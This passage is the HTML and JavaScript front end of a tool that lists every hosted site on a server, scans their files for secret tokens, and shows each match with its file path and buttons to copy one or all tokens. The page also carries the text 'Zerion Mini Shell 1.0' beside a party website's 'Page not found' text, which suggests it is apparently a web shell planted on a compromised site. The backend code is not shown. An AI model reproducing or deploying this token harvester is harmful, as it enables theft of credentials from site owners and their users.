<div class="pd"><div class="pd-label">Errors</div><div class="pd-value" id="eCount">0</div></div>
</div>
<div class="current-file" id="curFile">-</div>
<div class="current-site" id="curSite">Site: <b>-</b></div>
<details class="debug-box">
<summary>Recent Activity & Matches Log</summary>
<div class="debug-files" id="debugLog"></div>
</details>
</div>
<h2 id="resTitle">Found Tokens <span class="badge" id="resBadge">0</span></h2>
<div class="tokens" id="tokensList"></div>
<div class="empty" id="emptyBox">No matching tokens found in scanned files.</div>
<div class="actions" id="actionsBox">
<button class="btn ghost" id="copyAllBtn">Copy All Tokens</button>
<button class="btn ghost" id="resetBtn">New Scan</button>
</div>
</div>
<script>
(function(){
var mode = 'smart';
var scanId = null;
var running = false;
var lastTokens = [];
var tabSmart = document.getElementById('tabSmart');
var tabCustom = document.getElementById('tabCustom');
var customField = document.getElementById('customField');
var rootInput = document.getElementById('rootInput');
var startBtn = document.getElementById('startBtn');
var statusLine = document.getElementById('statusLine');
var errBox = document.getElementById('errBox');
var domainsBox = document.getElementById('domainsBox');
var domainsList = document.getElementById('domainsList');
var progressWrap = document.getElementById('progressWrap');
var progressFill = document.getElementById('progressFill');
var phaseText = document.getElementById('phaseText');
var elapsedText = document.getElementById('elapsedText');
var curFile = document.getElementById('curFile');
var curSite = document.getElementById('curSite');
var debugLog = document.getElementById('debugLog');
var resTitle = document.getElementById('resTitle');
var resBadge = document.getElementById('resBadge');
var tokensList = document.getElementById('tokensList');
var emptyBox = document.getElementById('emptyBox');
var actionsBox = document.getElementById('actionsBox');
var copyAllBtn = document.getElementById('copyAllBtn');
var resetBtn = document.getElementById('resetBtn');
function showErr(msg){
errBox.style.display = 'block';
errBox.textContent = msg;
}
function hideErr(){
errBox.style.display = 'none';
errBox.textContent = '';
}
function esc(s){
var d = document.createElement('div');
d.textContent = String(s == null ? '' : s);
return d.innerHTML;
}
function copyText(text, btn){
if (navigator.clipboard && navigator.clipboard.writeText){
navigator.clipboard.writeText(text).then(function(){
flashBtn(btn);
}).catch(function(){ fallbackCopy(text, btn); });
} else {
fallbackCopy(text, btn);
}
}
function fallbackCopy(text, btn){
var ta = document.createElement('textarea');
ta.value = text;
document.body.appendChild(ta);
ta.select();
try { document.execCommand('copy'); } catch(e){}
document.body.removeChild(ta);
flashBtn(btn);
}
function flashBtn(btn){
if (!btn) return;
var orig = btn.textContent;
btn.textContent = 'Copied';
btn.classList.add('copied');
setTimeout(function(){
btn.textContent = orig;
btn.classList.remove('copied');
}, 1200);
}
function renderDomains(sites){
if (!sites || !sites.length){ domainsBox.style.display = 'none'; return; }
domainsBox.style.display = 'block';
var html = '';
for (var i = 0; i < sites.length; i++){
html += '<div class="domain-item">'
+ '<span class="dot"></span>'
+ '<span class="name">' + esc(sites[i].domain) + '</span>'
+ '<span class="path">' + esc(sites[i].root) + '</span>'
+ '<span class="type">' + esc(sites[i].type) + '</span>'
+ '</div>';
}
domainsList.innerHTML = html;
}
function renderTokens(list){
lastTokens = list || [];
resTitle.style.display = 'block';
resBadge.textContent = String(lastTokens.length);
if (!lastTokens.length){
tokensList.innerHTML = '';
emptyBox.style.display = 'block';
actionsBox.style.display = 'flex';
return;
}
emptyBox.style.display = 'none';
actionsBox.style.display = 'flex';
var html = '';
for (var i = 0; i < lastTokens.length; i++){
var item = lastTokens[i];
html += '<div class="token-card">'
+ '<div class="header">'
+ '<span class="idx">#' + (i + 1) + '</span>'
+ '<span class="site-badge">' + esc(item.site || '?') + '</span>'
+ '</div>'
+ '<div class="token-row">'
+ '<div class="token-val">' + esc(item.token) + '</div>'
+ '<button class="copy-btn" data-copy="' + esc(item.token) + '">Copy Token</button>'
+ '</div>'
+ '<div class="path-block">'
+ '<div class="path-label">Source File</div>'
+ '<div class="path-val"><span>' + esc(item.file) + '</span>'
+ '<button class="copy-btn" data-copy="' + esc(item.file) + '">Copy Path</button></div>'
+ '</div>'
+ '</div>';
}
tokensList.innerHTML = html;
var btns = tokensList.querySelectorAll('.copy-btn');
for (var j = 0; j < btns.length; j++){
btns[j].onclick = function(){
copyText(this.getAttribute('data-copy'), this);
};
}
}
function discover(){
var xhr = new XMLHttpRequest();
xhr.open('GET', '?action=discover', true);
xhr.onload = function(){
if (xhr.status >= 200 && xhr.status < 300){
try {
var res = JSON.parse(xhr.responseText);
if (res && res.ok) renderDomains(res.sites);
} catch(e){}
}
};
xhr.send();
}
function runChunk(){
if (!running || !scanId) return;
var xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
if (!running) return;
if (xhr.status < 200 || xhr.status >= 300){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr('HTTP ' + xhr.status + ' during scan chunk.');
statusLine.innerHTML = 'Stopped due to HTTP error';
return;
}
var data;
try {
data = JSON.parse(xhr.responseText);
} catch(e){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr('Invalid JSON response: ' + xhr.responseText.slice(0, 300));
statusLine.innerHTML = 'Stopped due to invalid response';
return;
}
if (!data || !data.ok){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr((data && data.error) ? data.error : 'Scan failed');
statusLine.innerHTML = 'Stopped';
return;
}
document.getElementById('dCount').textContent = data.dirs_scanned;
document.getElementById('fCount').textContent = data.files_scanned;
document.getElementById('sCount').textContent = data.files_skipped;
document.getElementById('mCount').textContent = data.tokens_found;
document.getElementById('pCount').textContent = data.pending_dirs;
document.getElementById('eCount').textContent = data.errors;
phaseText.textContent = 'Phase: ' + (data.phase || 'scan');
elapsedText.textContent = (data.elapsed || 0) + 's';
curFile.textContent = data.current_file || '-';
curSite.innerHTML = 'Site: <b>' + esc(data.current_site || '-') + '</b>';
var logHtml = '';
if (data.recent_matched && data.recent_matched.length){
for (var i = 0; i < data.recent_matched.length; i++){
logHtml += '<div class="match">[MATCH] ' + esc(data.recent_matched[i]) + '</div>';
}
}
if (data.recent_files && data.recent_files.length){
for (var k = 0; k < data.recent_files.length; k++){
logHtml += '<div class="read">[READ] ' + esc(data.recent_files[k]) + '</div>';
}
}
debugLog.innerHTML = logHtml;
renderTokens(data.tokens || []);
if (data.done){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
progressFill.style.width = '100%';
statusLine.innerHTML = '<span class="ok">Completed</span> in ' + (data.elapsed || 0) + 's';
} else {
setTimeout(runChunk, 120);
}
};
xhr.onerror = function(){
if (!running) return;
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr('Network error during scan.');
statusLine.innerHTML = 'Network error';
};
xhr.send('action=run&scan_id=' + encodeURIComponent(scanId));
}
tabSmart.onclick = function(){
mode = 'smart';
tabSmart.classList.add('active');
tabCustom.classList.remove('active');
customField.classList.remove('show');
};
tabCustom.onclick = function(){
mode = 'custom';
tabCustom.classList.add('active');
tabSmart.classList.remove('active');
customField.classList.add('show');
};
startBtn.onclick = function(){
if (running) return;
hideErr();
running = true;
startBtn.disabled = true;
progressWrap.style.display = 'block';
progressFill.style.width = '';
progressFill.classList.add('indeterminate');
statusLine.innerHTML = '<span class="run">Starting scan...</span>';
var body = 'action=start&mode=' + encodeURIComponent(mode);
if (mode === 'custom'){
body += '&root=' + encodeURIComponent(rootInput.value);
}
var xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
if (xhr.status < 200 || xhr.status >= 300){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr('HTTP ' + xhr.status + ' while starting scan.');
statusLine.innerHTML = 'Error starting scan';
return;
}
var res;
try {
res = JSON.parse(xhr.responseText);
} catch(e){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr('Invalid JSON on start: ' + xhr.responseText.slice(0, 300));
statusLine.innerHTML = 'Error starting scan';
return;
}
if (!res || !res.ok || !res.scan_id){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr((res && res.error) ? res.error : 'Failed to start scan');
statusLine.innerHTML = 'Failed to start';
return;
}
scanId = res.scan_id;
if (res.sites) renderDomains(res.sites);
statusLine.innerHTML = '<span class="run">Scanning in chunks...</span>';
runChunk();
};
xhr.onerror = function(){
running = false;
startBtn.disabled = false;
progressFill.classList.remove('indeterminate');
showErr('Network error while starting scan.');
statusLine.innerHTML = 'Network error';
};
xhr.send(body);
};
copyAllBtn.onclick = function(){
var lines = [];
for (var i = 0; i < lastTokens.length; i++){
lines.push(lastTokens[i].token);
}
copyText(lines.join('\n'), copyAllBtn);
};
resetBtn.onclick = function(){
running = false;
scanId = null;
startBtn.disabled = false;
progressWrap.style.display = 'none';
resTitle.style.display = 'none';
tokensList.innerHTML = '';
emptyBox.style.display = 'none';
actionsBox.style.display = 'none';
hideErr();
statusLine.textContent = 'Ready';
};
discover();
})();
</script>
</body>
</html> Zerion Mini Shell 1.0
Page not found – Jefferson County Republican Party
Skip to content
Page load link